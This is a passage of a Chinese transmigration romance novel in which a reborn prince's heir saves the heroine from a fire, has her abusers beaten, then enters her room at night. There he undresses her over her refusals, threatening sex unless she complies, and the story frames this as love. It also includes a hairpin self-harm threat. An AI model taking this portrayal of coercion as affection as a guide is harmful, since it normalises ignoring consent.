一想到这些姜氏的眼神更恶毒了,但面上却浮起微笑说:“采星你没事吧?好好的祠堂怎么就
着火了?莫不是你不小心打翻了烛台?”
俞采星现在对书中剧情一概不知,可不想在这个时候面对狡猾狠毒的嫡母,她头上还蒙着游千古的衣服,于是闭眼睛不出声。
没听到回应的姜氏脸色微变,但很快又恢复正常,赶紧吩咐一旁的奴才:“你们俩快从世子爷手里接过大小姐,劳烦世子爷抱着成何体统——”
“闪开。”游千古在火中时间过长,喉咙被烫伤,声音嘶哑一片,他目光扫了姜氏一眼,可仅那一眼,便泄露了太多凌厉。
姜氏暗暗心惊,侧身让路,俞欣然也被吓到,跟着慌张后退几步,自知失仪,便又赶忙行礼,俞府奴才一看,也乌压压跪了一地。
就连怀里的俞采星也一愣。
她仔细回忆从前,记忆里的游千古虽冷漠阴鸷,却也不曾这么直接动过大怒。
一来没有什么事能让从容的他内心掀起波澜,二来他城府深,遇事断不会让旁人看出情绪,他从不愿费嘴,向来都在背后蔫坏。
气氛再次凝滞。
祠堂的大火已经扑灭,外头乌泱泱跪了一大片人,游千古浑身上下全是被大火炙烤的痕迹,右侧身躯明显被砸伤,而他怀里的俞采星却被护得很好,从头到脚裹得严严实实。
“王太医随我来。”游千古不理会众人沉声吩咐,抱着俞采星一刻不耽误,大踏步往内院走去。
姜氏眼中波澜频生,祠堂一着火锐王妃就带着府兵全副武装过来,没想到竟然连太医都请来了。
那王太医是何人?他可是只给皇家诊病的太医院院使,如今竟然被接来给一个庶女看病。
姑嫂二人对视一眼,俞采星不是一直纠缠小郡王么,她们想不通她是何时勾搭上游千古的。
一旁的锐亲王妃,俨然已经忍耐到极限。
俞承荫这个庶长女还真是好本事,为了攀附王府权势,先是纠缠她的小儿子,闹得满城风雨,眼见无果,转头又来迷惑她的大儿子。
堂堂亲王世子和小郡王,怎能任由一个庶女如此戏耍,天家威仪何在!
看在隋茹当年用命救了辰儿的份上,她本想许俞采星一世安稳,从一众门当户对的郎君中给她挑个好的,奈何她贪心不足,非要自掘坟墓。
古儿向来性子淡漠,更深深厌恶女.色,不曾想她不过进宫陪了皇后两日,一时不察,就让这庶女得了手。
今夜,古儿竟执意带兵来俞府救火,她劝他避嫌,只让府兵前来即可,弟弟的救命之恩,没道理让兄长亲自涉险救人。
可古儿非铁了心要来,把她一番说辞通通驳了,无法,她只得一并跟来,否则明日不知又要传出多少风言风语。
本来古儿对男女之事开窍是好事,他早该成家立室,可偏偏俞采星放浪形骸,全城都在笑谈她的不堪,如此品行即使纳为妾室,也是玷污了锐亲王府的清誉。
如今皇帝年迈病重,他没有皇子,未来江山肯定要交到他们这些王爷手中,为了江山稳固,第二代继承人也会被纳入考量范围内。
万一这个时候传出古儿和辰儿,因为一个女人而兄弟阋墙,那可就……
想到这些,锐亲王妃面色不禁更难看,可游千古脾气倔强,若硬来恐会伤了母子之情,只得将此事暂且按下,日后再从长计议。
锐王妃跟着游千古进了内院,姜氏与俞欣然也紧随其后,一进翠云阁,游千古要直接进俞采星闺房,旁边没人敢多嘴阻拦,倒是锐王妃急忙拉住他。
11. 就是要护她
“女儿家闺房,你一个男子这样堂而皇之进入,改日若传了出去你们清誉何在?你地位尊贵倒无妨,俞大小姐岂不成了百姓口中茶余饭后的谈资?咱们都且在外间侯着吧,王太医的医术没什么让人不放心的,且让俞府丫鬟进去伺候便可。”
锐王妃向来说话干脆,直指要害。
“还不放我下来。”俞采星小声叱责,一提到声誉问题,也不敢继续装晕了,她还想在书里过完下半辈子,可不能老顶着“水性杨花”的名声活着。
今夜,俞采星本来想靠火烧祠堂制造一出被神明庇佑的传闻,把自己尽可能神话一番,好来拯救一下原身崩塌的人设,这下倒好,不仅人设没洗白,反而更糟糕了。
说不定明天满皇城的人都会传她勾引游万辰不果,又转而把魔爪伸向了他兄长——锐亲王府的世子,未来的王爷!
游千古知道这是架空的古代,对女子束缚极多,也怕今日他多番强硬忤逆锐亲王妃,露出马脚。
于是小心将俞采星放下,“哪里不舒服尽管告诉王太医,我就在外间,有事你喊我。”
他被烈火炙烤过的嗓音透着沙哑,此刻听起来反倒像添了些许柔情,一旁的人都震惊了,锐王妃尤甚。
这哪里还是那个冷峻清寒、不苟言笑、厌恶女.色的世子爷。
俞采星自然当他在攻略自己,理也不理,推开他跑进房间。
不一会儿王太医出来了。
“禀告王妃、世子爷,俞姑娘身子无碍,幸亏世子救人及时,姑娘身上没有一处烧伤,就是双腿处淤伤颇多,我已开了药,按时抹药不日就会痊愈。”
“如此甚好,那王太医也赶紧回宫待命吧,今日辛苦了。”锐王妃点点头,“古儿,既然俞大小姐没有大碍,咱们也无需进去叨扰,夜已深,就让她歇着养伤,咱们——”
“母妃,你不是还有话对姜夫人说么?”游千古声音沙哑开口打断她。
伤她的人绝不能就这样算了。
他虽然不知道剧情,但猜也大概能猜出,今日不是清算的好时机,可错过了今日,便连个机会都不一定有。
今夜救火他之所以兴师动众,把王太医也请来,就是为了震慑俞承荫夫妇,也为了告诉锐亲王妃,他要保俞采星。
“……”锐王妃因他的话一愣,但随即又面色平静地开口:“我是有些话要同姜夫人讲。”
姜氏瞅了眼天色,现在已近亥正二刻,两尊大佛还不肯走,今夜怕不那么好应付,她只得上前说道:“若王妃与世子不嫌弃府上粗陋,不如去前厅吃碗茶吧。”
……
厅堂内。
锐王妃轻嘬一口茶,淡淡开口。
“傍晚我从宫中回来,才听闻俞大小姐今日去了王府,倒是我疏忽了,应该提前给她准备几封拜帖的,就不必偷穿侍卫服混进王府了。”
这句话她是带着火气的,半年前她就特意叮嘱过姜氏,让她看紧了俞采星,不得靠近辰儿,谁料今日竟然放纵她直接混进王府。
姜氏一听,如坐针毡。
“是我教女无方,竟让她干出这种丑事来,今夜我本罚她跪祠堂,奈何这丫头被宠坏了,为了逃避责罚竟敢火烧——”
锐亲王妃轻轻抬手打断了她的话,“姜夫人要如何管教女儿不必说与我听,是严是松皆是你们俞家家教,如此说,倒显得王府不顾念旧情恩将仇报似的。”
此时古儿就在身侧,他故意找茬留下,可不是为了听姜氏如何惩处俞采星的。
锐亲王妃:“小郡王向来生性不羁,整日里说话没轻没重,今日他言语伤害了俞大小姐,我本是代他登门致歉的,谁知半路见俞府火光冲天,这才做主带了府兵来救火,深夜闯府姜夫人得见谅啊。”
一句见谅让姜氏惶恐起身:“今夜多亏王妃及时赶到,才扑灭大火救出小女,不至累及其它院落,妾身深谢救命之恩。
小郡王尊贵无比随性洒脱,是妾身教女无方,过度纵容才以致让她用多年前的旧事挟恩图报,偷偷生了不该有的心思,闹得满城风雨,因此惹恼了郡王殿下,都是妾身的错,请王妃责罚!”
说着竟行了跪拜大礼。
“姜夫人言重了,俞家对小郡王的救命之恩,王爷心里记得,况且俞大人向来清廉勤勉,此次去江南为皇上分忧,我岂能随便责罚夫人,而令他不安呢。”
她话虽如此,可却不曾让姜氏起身。
虽然今夜她依着古儿来救人,可是那俞采星竟然敢流连在她两个儿子之间,着实可恨,定是姜氏这嫡母没有悉心教导,总想拿当年救命之恩当保命符。
本来可怜俞采星小小年纪便没了姨娘,想要好生对待,谁知她尚未及笄时就开始纠缠辰儿,一缠就缠了五年。
作为母亲,她已经忍了五年,不想如今她变本加厉,姜氏作为嫡母不能约束的确该罚,免得她不罚,待会古儿会罚得更出格。
跪在地上的姜氏脸色铁青,自打出生她就没这么屈辱过,但也没有办法,只得咬牙在一众下人面前继续跪着。
时间一点一滴过去,见锐王妃仍不叫姜氏起身,俞欣然沉不住气,慢慢走到秦氏身侧,敛衽行礼。
“王妃息怒,大嫂溺爱侄女,只因采星姨娘去的早,因此大嫂才体恤不忍做严母,奈何她却不懂事,做出那样有辱门风的事,实不该怪大嫂……”
俞欣然是真心心疼姜氏,她与二侄女挽星同一年出生,母亲年岁大了有时顾不上她,她经常和姜氏宿在一起。
“这么说来,究根结底是我锐亲王府的不是了,害你们俞府少了位姨娘,导致府里连女儿都无法管教了。”
锐王妃眉眼一挑,居高临下看着俞欣然,没让她跪下,也没让姜氏平身。
“王妃恕罪,臣女不是这个意思,隋姨娘一条贱命能换小郡王平安,那是俞府上上下下的荣耀!”
俞欣然毕竟才十七岁的年纪,到底年轻。
她本意是为大嫂求情,顺便在锐王妃和游千古面前展现自己的温柔善良,可没成想事与愿违,说错了话,现在特别后悔刚才一时冲动站出来。
此刻她被盯出了一身冷汗。
“呵~俞府上上下下的荣耀……”锐王妃瞪着她:“俞家的女儿果然是好规矩,不仅胃口大,这连罚谁不罚谁,俞家这位小姑奶奶都能做我的主了。”
姜氏咬紧银牙强忍怒火,俞欣然这个蠢货,挑这个时候站出来说这种话,是诚心要惹怒锐亲王妃么?
她与挽星同岁,又同住碧水阁,与祠堂相距甚远,火势不会蔓延过去,哪需要一个大门不出二门不迈的闺阁女子出来救火,偏她沉不住气。
挽星差人来说劝不住小姑姑,只能由着她来胡闹,这些年,若不是为了拿她当挡箭牌与老太太周旋,又岂能容忍这蠢货这么多年。
姜氏连忙拽了拽俞欣然的衣袖,示意两人一齐磕头,“舍妹年幼口无遮拦,冲撞了王妃,还请您恕罪!”
锐亲王妃淡
淡垂眼,又抿了一口茶。
俞承荫毕竟是锐亲王府一派的,虽然他夫君在朝堂风头无两,但朝廷势力错综复杂、风云诡谲,还有一位小皇叔,也就是宁亲王,虎视眈眈。
既然是自己人,面子上不能做得太过分。
“罢了,以后姜夫人多多收紧家教,别再让女儿家干不该干的事,尤其这终身大事,那向来是父母之命,媒妁之言,若都由得自己挑,那不乱了套了。”
“是,妾身谨记娘娘教诲!”
锐王妃看看时辰,觉得敲打的差不多了,刚想让她们起身,一旁始终没开口的游千古站了起来。
他早就猜到,这锐亲王妃肯定会高高举起,轻轻放下,而且并不会替俞采星出头。
“既知道冲撞了我母妃,那就继续跪着吧,不知姜夫人,认不认得这根榎棍?”
他说完,一旁的手下立刻上前,呈上一根榎棍。
“这个……”姜氏一看慌了,这不是孙婆子平常用来教训俞采星的榎棍么?怎么会在世子手里?
游千古冷笑:“这是我的侍卫在祠堂门口捡到的,与俞采星脸上、腿上的伤正好吻.合。”
姜氏冷静下来,看来世子爷是真的对俞采星不一般,铁了心要给她出头,但这小贱人先前纠缠的可是小郡王。
天下没有哪个母亲能容忍一个女人在她两个亲生儿子之间反复作妖,也没有哪个男人能忍受自己喜欢的女子纠缠别的男人。
锐亲王妃今日这番敲打她,根本不是向着俞采星,而是在怪罪她没有把俞采星看住,让她又去王府纠缠。
姜氏断定,此时王妃心里肯定恨不能把俞采星剥皮拆骨。
但他们母子二人都在装,她也只得把罪推出去,想了想这才对游千古说道:“今日采星又偷跑出去找小郡王殿下,这实在是不成体统,所以我就命几个婆子通知她去跪祠堂,没想到这些叼奴竟然做出如此欺主的行径来。”
姜氏说完,未从游千古面上看出一丝情绪波动,他只淡淡问道:“是哪几婆子?”
“是……是孙、刘、赵、张、王五个婆子。”姜氏照实回话。
“去,把这五个人带上来。”男人沉声吩咐一旁的侍卫。
不一会人就被带上来了,看到五人的模样,在场众人皆面露惊诧。
孙婆子嘴上的破布刚被扯下来,就疯疯癫癫大叫:“老太君从地府回来了,是她放的冥火,谁欺负大小姐她就烧死谁!”
先前在庭院里夜色昏暗,加上担心火势,姜氏并没有看清孙婆子的脸,现在一看简直吓了一跳。
她披头散发鼻青脸肿,两个眼眶青紫一片,整张脸上全是肿起的手指印,嘴角牙齿全是血。
而另外四个更惨,是直接被抬上来的,到现在都没醒,她们头发散乱,皮肤发黑,远远闻着还有股焦味,若不是有丝微弱的呼吸,还以为是四具尸体呢。
这哪里是去教训人,摆明是被人教训了,而且还被教训得很惨。
游千古看到五人这副惨样,也委实吃了一惊,不知俞采星那个笨蛋是怎么办到的,亦或是还有他不知道的人在暗中帮她?
“既然是恶奴欺主,姜夫人自己的奴才自己办了吧。”游千古说的随意。
姜氏没被恩准起身,只能跪着吩咐:“是,妾身遵命,来人,拖下去给她们五个掌嘴,每人一百下,然后打断双腿扔出府去。”
游千古抬眼,“不必费劲拖出去了,就在这里打吧。”
12. 半夜闯闺房
姜氏一愣,立马回过神来,明白世子这么做是为了震慑她,他在用这种方式警告她,日后俞采星她动不得了。
简直欺人太甚。
俞采星尚未出嫁,她又是当家主母,规训子女本就是她分内之事,就算是王府世子,也不能如此罔顾礼法。
俞欣然跪在一旁,听着孙婆子凄惨的叫声,厅堂里充斥着浓重的血腥味,她心里又气又怕。
这俞采星到底用了什么妖术,五个婆子竟然伤成那样,而她却就只是受点皮外伤,难道真是他们俞家祖先显灵?
最可恨的是,游千古那么尊贵的人竟冲进火场抱她出来,一个庶女,她凭什么?
因为俞采星的污名,她和挽星早已及笄却并没等来合适的姻亲,俞府之上的达官显贵,最看重联姻家族的名声,哪能容忍新妇有个不守妇道的姊妹。
只有门第低于俞府的人家才肯前来求娶,他们不在乎名声,只拿俞家当垫脚石,这种人家让她如何甘心嫁过去。
她曾祖父授镇国将军,祖父弃武从文官至礼部尚书,父亲去世前是太仆寺卿,母亲诰命加身,哥哥是都御史。
等着吧,总有一天她能觅得良婿,俞家所有的荣耀都应该是她的。
刑罚终于结束了。
锐王妃放下茶盏起身:“好了,已是子正初刻,折腾到半夜我也乏了,姜夫人同俞姑娘起身吧,古儿,我们该走了。”
在权利大于一切的古代,游千古知道他今日已经挑战母妃太多,若再继续只能适得其反,于是起身。
“妾身恭送王妃、世子爷。”姜氏两个膝盖早已酸麻红肿,她扶着桌子慢慢起身,望着两人离去的背影,眼里恨不能射出刀子去。
……
呆在翠云阁的俞采星,自然不知道俞府前厅因为她,发生了那么大的事。
整个院子只有她一个人,连个伺候的小丫鬟都没有,王太医给她看诊时都避讳这、避讳那,更遑论给她抹药,她只能勉强将能够的着的地方涂抹上药膏。
已经过了子时,穿书第一天过去,俞采星得好好想想以后如何句命。
大方向上,肯定要积极见义勇为,因为很可能她救下的人就是书里必死的炮灰,这是她赚取生命值的方法。
至于那个终极系统任务——【找到多年前被秘密送出宫的皇子,并助其登基,失败抹杀。】
让一个受尽欺凌的庶女,去寻找流落民间的皇子,还要扶持他当皇帝。
俞采星苦笑,系统招人的时候不做背调吗?
既然皇子是被秘密送出宫的,就一定是皇宫内外里应外合,宫外范围太大,最好从宫内开始查。
可她的身份如何能进得去皇宫,算了,要不明天先去坊市转转,找几个说书的,看看能不能探听一段野史啥的。
此刻俞采星毫无睡意,不光因为身上的伤太疼、终极任务没头绪,还因为游千古。
她躺在床上辗转反侧,睁眼看向窗牖,点点星光透进来,恍惚间,这些光亮与大火中游千古的眸子重合。
一滴泪还是不争气地落在荞麦枕头上,像硫酸,腐蚀了她强行封闭了两年的记忆。
系统叹了口气:【承认吧,你还是会思念游千古,不如就像他说的,你接受他的攻略,然后你们各取所需,共同苟命算了。】
这次俞采星反常的没有和系统斗嘴,只是摇摇头:“我哭不是因为想他,而是因为惧他。”
没错,是惧怕。
她不知道游千古会用什么手段攻略她,她怕自己的头脑应付不来,最终又会沦陷在他的虚情假意里,最后再被一脚踹开。
要知道,游千古那样的人若打算做一件事,没有做不成的,难不成她还要折在同一个男人身上两次?
俞采星承认恨他,但也没到让他去死的地步,可又能怎样呢?
游千古前世背叛爱情,而这世为了活命又跑来绞尽脑汁攻略她,难不成为了他的性命,她就又要乖乖回去做舔狗?
面对一个不爱自己的男人,不是撇下自尊、不计前嫌重头去爱,就会有好结果的。
这一次,俞采星找到了自己赚生命值的方法,她不必祈求游千古的施舍,更不愿再把心脏拿出来,贱兮兮放在他的脚下。
各人有各人的缘法和命数,她会想办法完成终极任务,至于游千古的生死和任务,她不想管,也管不了。
寂静的深夜,连虫鸣都听不见了,夏风吹动翠云阁内的绿竹,仿佛有些动静,在俞采星还没有反应过来时,内室的窗户被打开,一个人影快速翻了进来。
女人心中大骇,刚想大喊,那人上前便狠狠堵住了她的嘴。
【每日零点重置,恭喜宿主获得馈赠血值,增加生命值24小时,总生命值为44天:3小时:52分钟:6秒】
卧草!
她忍了这么久的国粹终于骂了出来。
“游千古,你有病。”俞采星用力推开他,拢了拢亵衣,缩到床里侧。
“小声些,深更半夜故意喊这么大声,我看你就是想把所有人都引过来,毕竟高贵世子爱慕小小庶女,怎么听都是你有面儿。”
俞采星:“……”
要是此刻惊动了人,她明天不是被抬进亲王府做妾,就是送去道观当姑子,不过看锐亲王妃今夜的态度,她多半连妾室都做不成,只能去当尼姑。
“你也知道现在是深更半夜,你怎么进来的?这里好歹也是都御史的府邸。”俞采星说完顿了一下,不可思议瞪着他:“你在监视俞府。”
她用的是陈述句。
游千古没有否认,他确实在俞采星离开王府后,便立刻想办法摸清书里原身【游千古】的亲信,然后派人监视俞府,否则祠堂起火他也不会来的那么快。
只不过他做的还不够,时间太短,他不知道剧情和记忆,做什么都掣肘,否则怎么可能连俞采星现在的处境都不知道,要是早知道会这样,说什么也不会放任她离开锐亲王府。
“我不会感谢你,没有你,天一亮我就成为齐月国的神女了,况且,你救我也根本不是为了我,而是为了你自己,所以,赶紧离开。”
游千古置若罔闻,长腿一迈直接跪坐到床上,逼仄的空间里他倾身上前,借着月光,俞采星甚至能数清他的眼睫。
空气陡然变得稀薄,女人很紧张。
她在心里一遍一遍重复:别慌、别慌、兵来将挡水来土掩,若游千古要强来,大不了拉他同时去投胎,她又不是没死过。
察觉到女人的僵硬,游千古一贯清冷的声音里透着丝丝柔和,“别怕,我敢来,就一定不会让俞家人发现。”
说完,俞采星的额头和脸颊一阵清凉,此刻游千古正捧着一个白色小瓷瓶,一点点给她上药。
“都肿了,一定很疼吧?对不起,白天我不该惹你生气的,否则你就不会回俞府。我不知道书里的剧情,以为你能进得了锐亲王府,必定在家里很受宠,可等我傍晚查清楚一切时,已经晚了……”
男人声音里仿佛透着后悔与懊恼,他手指轻轻柔柔,沾着淡粉色的药膏一下一下涂抹伤处,像羽毛一样,撩拨俞采星的心房。
她逼自己回过神来,再次推他。
“王太医已经开了药,无须劳烦游大律师,哦不,现在你是世子爷了。”
俞采星的拒绝游千古仿佛听不到似的,把脸部伤痕抹完,就探出手解她亵衣的带子。
“你做什么?”女人警惕地防着他。
而男人却像话家常般,“别怕,我只是看一下你身上的伤,那太医谨记男女大防,给你一个小姑娘治腿就已经是极限,不可能再给你检查其他地方。姜氏着实可恨,竟然连一个丫鬟都没给原身配,我猜到你没人照顾,所以特地来给你上药的。”
说完,又伸手解她衣衫。
“你够了,药我会自己涂抹。”俞采星冷脸直接拽下男人的手,“游千古,你现在用的都是我当年追你时淘汰的招数,要想攻略我,最起码换个新花样!”
“……攻略你?”男人眼神一怔随即清明,他低头,沉下的眼眸里,冒出些许俞采星看不透的情绪,一言不合又继续给她脱衣服。
“我说够了,不要脱我衣服,我也不用你上药。”俞采星濒临崩溃边缘,“两年前是你亲口说腻了我,像你这样高冷自傲的男人,逼自己假装去爱一个根本不爱的女人,你受得了?”
“受得了。”
俞采星翻白眼:“可我们之间在上辈子已经彻底完了,我根本不可能再像以前那样毫无芥蒂面对你。”
游千古抿唇:“是你完了,我没完。”
“……”俞采星气笑了,面对男人少有的胡搅蛮缠,她被雷的不知道该说什么好。
“呼~”女人深吸一口气,逼自己不要生气,气出病来无人替
,不如趁今天直接摊牌,往后恩怨两消,各自在书里安好。
“游千古,实话和你说吧,我已经找到续命的方法,以后不需要你每日给我二十四小时的生命值保命。既然我可以找到第二条路,你有那么聪明的头脑,肯定也可以找到其他活命方式。”
一阵沉默后。
游千古终于抬头望向俞采星:“所以呢?”
“所以,你根本没有必要费劲巴拉委屈自己来攻略我,前世你不是最厌恶别人强迫你么?既然有另一条活路,你还逼自己讨好一个你不爱的女人干嘛?”
俞采星觉得她已经很设身处地为他考虑了。
“前世我们结婚了,又离婚了,而且都不幸死了,穿书前你背叛我,穿书后你又救了我一命,就当咱俩扯平了。今后便桥归桥,路归路,前尘往事一笔揭过,往后你做你的世子爷,我做我的小庶女,咱们就此说拜拜!”
俞采星的话说完,房内又陷入了沉寂。
“俞采星,你就这么不愿意同我在一起么?”
今夜月色甚明,月光照在游千古一双眸子上,俞采星清楚看见里面如漩涡一般的死寂。
女人郑重点头,感谢他终于问到了点子上,“是,我不愿意。”
他又问:“你确定要和我此生再不相见?”
她点头如捣蒜。
时间一分一秒过去,就在俞采星感慨自己终于说动游千古的时候,谁知对方却蓦地把她拽进怀里,薄凉又狠厉的,在她耳边吐出三个字:“你休想!”
男人力道很大,勒得她差点撅过去,“扯不平,俞采星,我们之间永远扯不平!”
她咬牙,忍住,他现在是世子。
可,去他爹的,姑奶奶忍不了了!
“游千古,出轨的人不是你么?离婚不是你提的吗?与我一别两宽、再见无关不是你期盼已久的事吗?现在不用攻略我你也能有机会活成老头子,我不明白你到底要干什么!”
游千古仍旧把她勒在他怀里,她能感觉到他粗重的呼吸和紧绷的身体,按照以往的经验判断,这时的他在生气,很生气。
良久后。
“我凭什么相信你?凭什么因为你一句话就放弃系统任务?离婚时你说要报复我的话,我到现在还能一字一句背回给你听,俞采星,在这本书里,世子的命可比你金贵多了。”
这次换女人无言以对。
游千古大概是懒得同她争辩,也不再说话,松开怀抱继续脱她衣服,他劲儿向来大,不过几息俞采星肚兜就露出来了。
她咬牙切齿:“游千古,别逼我更恨你!”
男人的手轻颤了一下停了下来。
“我不做别的,就是看看你的伤,小星别怕我,也别再恨我好么?我心里难受……”
温柔情话张口就来。
俞采星很佩服游千古,为了活命能瞬间进入角色,他的话、他的表情、甚至连他的眼神,都像极了一个悔恨又痴情的丈夫。
女人恨透了他这番装模作样。
“我叫你滚开!”
若用一种动物来形容俞采星的性格,最贴切的肯定是驴子,她虽然是孤儿,虽然贫穷,却一直都是头自爱、善良、有底线的倔驴。
她怎么可能容忍一个背叛婚姻,且为了活命攻略她的男人有亲密举动。
此刻,俞采星头上依旧还束着侍卫的发冠,她快速从发髻上拔下簪子怼在自己的咽喉上,迫不得已再次上演威胁的戏码。
游千古瞳孔骤然紧缩,眼角几欲眦裂。
然而这次,他没有妥协。
只见男人猛地扣住她的手腕,顺势一带一拧,迅速夺下发簪,未等她挣扎,便先一步将人箍进怀中。
游千古抱得很紧,仿佛一松手俞采星又会像前世那般离他而去,良久之后,男人紧绷到极致的心弦终于松脱,胸腔里擂鼓般的心跳也渐渐平缓下来。
“小星,若再敢伤害自己,我就要罚你了。”
男人说完,将她凌乱的发丝别到耳后,嘴唇猝不及防贴近她的脖子,猛地舔在上面。
“你、你你你你……”俞采星一阵颤栗,话都说不利索。
“嘘,听话,”男人再开口时,声音又恢复到从前的慢条斯理,“要么让我给你脱衣服上药,要么我就真的对你干点别的。小星,你是知道的,你的身体对我来说,永远是无法抗拒的吸引。”
13. 前世的羞辱
俞采星不由自主哆嗦了一下。
和游千古在一起八年,他很少有如此极端的时候。
可,很少不代表没有。
每当这些时候,他脸上总是一派云淡风轻,神情也泰然自若,但干的都是超变.态的事。
犹记得那是二零零三年,大三上学期,已经入冬,她和游千古确定关系已经一年了,当年大学里特别流行织围巾,俞采星咬咬牙忍痛花了二十二块生活费钱买毛线,也赶时髦织了一条。
十二月中旬的天气很冷,她在游千古宿舍楼下等他,三分钟后男人出来,她献宝似的把自己一针一线织的爱心围脖给他戴上,然后深情说出事先打好腹稿的爱情宣言。
“游千古,这是我亲手为你织的围巾,上面每一针都是我对你的爱恋,每一线都是我对你的思念,以后我还会为你织毛衣毛裤,让你每个秋冬都暖暖和和!”
可是男人的表情却并不是她想象中的那样,他没有笑,没有激动,只是摸着围巾足足愣怔了一分钟,然后扯下围脖开始挑毛病。
“你这里掉了三针,这里跟这里,掉了一针,这里和这里多打了一针,还有,收边收得松松散散,接线也不美观,都是一个个的毛线疙瘩。”
挑完毛病后,他皱眉总结:“笨蛋小星,你是用脚织的吗?”
冷冷寒风中,俞采星只觉脸火辣辣的。
“有这么差劲么?”她忍着委屈尽量让自己心情平复,“这是我第一次织围脖,织了一个多月呢。”
游千古非但没安慰,还拿出一个纸袋:“这是、这是我们寝室胖子女朋友织的。”
说完,他把手里的纸袋打开,拿出一个很漂亮的超长护耳稻草人帽子给她戴在头上,又拿出一条勾针太阳花的围脖,也给她围上,接着拿出一副漂亮的拼色连指手套,套在她手上。
最后残忍地对她说:“今年冬天太冷,出门一定戴着它们。”
俞采星吸吸鼻子,努力不让眼泪流下来。
她不就是熬夜费神费力给他织了条不漂亮的围脖嘛,他竟然拿别人女朋友织的东西来羞辱她,还一羞辱就是一整个冬天!
“知道了,整个冬天我都会戴着它们的。”好让它们时刻提醒自己的蠢笨,她发誓,从今以后再也不会织任何东西给他了。
“嗯。”听到俞采星的回答,游千古果然很满意。
“我还有事先回宿舍了。”
游千古身子一顿,眼里似乎闪过一丝不舍:“我们不是说好中午一起吃饭吗?”
“突然不想跟你吃了!”
男人眼睫颤了颤,想问为什么,可俞采星很不开心,转身就走。
要是换做平时,她都是撞着胆子拉一拉他的衣袖,然后依依不舍目送他的背影离开,直到再也看不见时她才会走。
可今天他太伤人了。
谁知俞采星刚跑出没几步,就被人叫住了,当然不是游千古,而是俞采星书画社团的学长褚玄卿。
他的人就如他的名字一样沁满了书香气息,褚玄卿特有才华,尤其写得一手好毛笔字。
“俞采星,你不是很喜欢纳兰性德的《辛苦最怜天上月》吗?我有时间给你誊写了一副,希望你能喜欢。”
“给我的?”要知道褚玄卿的字可是被学校女生激烈争抢的,突然得了他的墨宝,顿时心情好了不少,“谢谢褚大才子!”
俞采星宝贝似的拿着卷轴往宿舍跑,舍友铁晓梅专门倒腾褚玄青的字画。
他在学校成绩好人气高,长得又帅,是文学系校草,他的字、画什么的,在女同学们那里可抢手了。
纳兰性德这首词字挺多的,怎么也得卖个一百来块钱,得赶紧回宿舍找铁晓梅估价。
谁知刚跑到半路又被人拦下,这次是游千古,他竟然没回宿舍,而是一路跟着她。
“跟过来干嘛,说了今天不想跟你吃饭,你还有事?”俞采星心里气他,不想给好脸。
“因为褚玄卿,才不跟我吃饭?”
俞采星没见过这么会倒打一耙的,明明是因为他把自己的心意,数落的一文不值。
游千古牵过她的手,这么冷的天,竟然把她领到了学校人工湖的凉亭。
这里西北风刮得呼呼作响,不过胖子女朋友的手艺确实不错,这么好看且保暖的针织三件套往身上一戴,还真挺暖和。
只是难为她除了要给胖子织,还要给胖子舍友的追求者织,着实太不容易了。
俞采星正要向游千古打听胖子女朋友叫什么,以后遇到也好谢谢人家,谁知游千古却开口问她:“俞采星,收到一副毛笔字高兴成这样?”
俞采星不想给他好脸,可是谁让她瞎了眼就是喜欢他呢,于是乖巧点头。
“嗯,很喜欢。”开玩笑,铁晓梅说若卖得好,能卖一百多块钱呢,在二零零三年,这个学校食堂五块钱就能吃两荤一素一汤的年代,一百块对于孤儿院出身的俞采星来说,绝对是笔巨款。
“来,给我也欣赏一下。”
俞采星有点不情愿,这里风这么大,展开吹破了可就不值钱了,但是她又舍不得拒绝游千古,只好嘱咐道:“小心点儿,可千万别弄坏了。”
没想到她刚嘱咐完,他就对她笑了,这还是他第一次对她笑得这么温柔。
顿时俞采星悟了,原来游千古也喜欢毛笔字,早知道她还费劲织什么围脖,投其所好给他亲手写一副毛笔字多好,省事还便宜。
正当俞采星思考这幅字是要卖掉,还是直接送给游千古时,他竟然“咔嚓”一声把卷轴撕了!
俞采星当场石化。
此刻男人脸上还在温柔的笑,嘴里清清凉凉念着“若似月轮终皎洁,不辞冰雪为卿热,纳兰性德的词果然好听
。”
他嘴上虽然这样说,可他手里,却仍在一下一下高调撕着卷轴。
游千古撕起东西来也跟他这个人一样,一丝不苟,处处都透露着严谨,只见他每撕一下,纸片长度、宽度几乎一模一样,就跟从碎纸机里过了一遍似的。
撕完后,游千古把纸屑放进先前装帽子手套的那个纸袋里,轻轻柔柔对她说:“这些垃圾我就帮你处理了,以后少想点诗啊字啊的,去书法社团多浪费时间,你专业课学好了?机械制图画完了?理论力学、工程力学、电工与电子技术都掌握了?还有汽车构造——”
“游千古,我讨厌你!”俞采星大声打断他的话,这一刻她的眼泪终于绷不住了。
她的一百块,就这样成了垃圾,不仅破了财,还要在寒冷冬日的周末,被人催促学业!
“游千古,我最讨厌你了!”说完就哭着跑出凉亭。
……
上辈子的记忆如潮水般涌过,回过神来的俞采星打了个寒颤。
此刻游千古的神情,和前世撕褚玄卿字时一模一样,都是那样温文尔雅、气定神闲,但却令她毛骨悚然。
“小星,我再问你一遍,是要脱了衣服让我给你上药,还是我们再享受一次洞房花烛?你放心,这一回我肯定比我们第一次时有经验多了,保证让你有更好的体验感。”
俞采星抿紧嘴唇瞪着他,知道他不是在开玩笑。
当年谈恋爱时她俩非常清水,最多也就拉拉小手,亲亲脸蛋,从未越雷池一步,当时俞采星一度认为自己没有吸引力,或者是他不行。
可新婚那夜彻底颠覆了她的认知,游千古在这种事上特别有精力,常常一折腾就是一整夜。而且他好似十分痴迷她这副普普通通的身体,痴迷到甚至提离婚时,还不忘再折腾她一夜。
见俞采星一直不说话,游千古终是没了耐心,“既然你不愿意上药,那我们就干点别的。”
于是这厮竟然开始脱他自己的衣袍。
俞采星慌了。
“上药,上药,上药,我上药,行了吧!”
她不敢劳驾他,直接自己上手脱.光,躺尸一般闭上眼睛直挺挺倒在床上,就这样吧,爱咋咋地。
气氛稍作凝滞。
游千古起身点燃蜡烛,然后又慢慢走到床边检查她的身体,当他第一下碰触她时,女人不争气地颤栗了,可慢慢地她发现,游千古真的只是给她上药。
他抹药抹得既小心又仔细,清凉去痛的药膏抹上后,原本疼得火辣辣的身体终于得到舒缓,在祠堂里,开头五个婆子一齐下手,她吃了不少亏。
不一会儿,俞采星发现了不对劲,游千古气息似乎不稳,紧接着有几抹温热滴在俞采星的腿上,而且还越滴越多。
俞采星嘴角一扯,满眼惊恐。
“游千古,你口水滴我身上了!”
14. 姜夫人大怒
男人手上一顿,张口就骂:“笨蛋小星,你笨死算了。”
俞采星想,许是被她拆穿得如此直接,游千古恼羞成怒了。
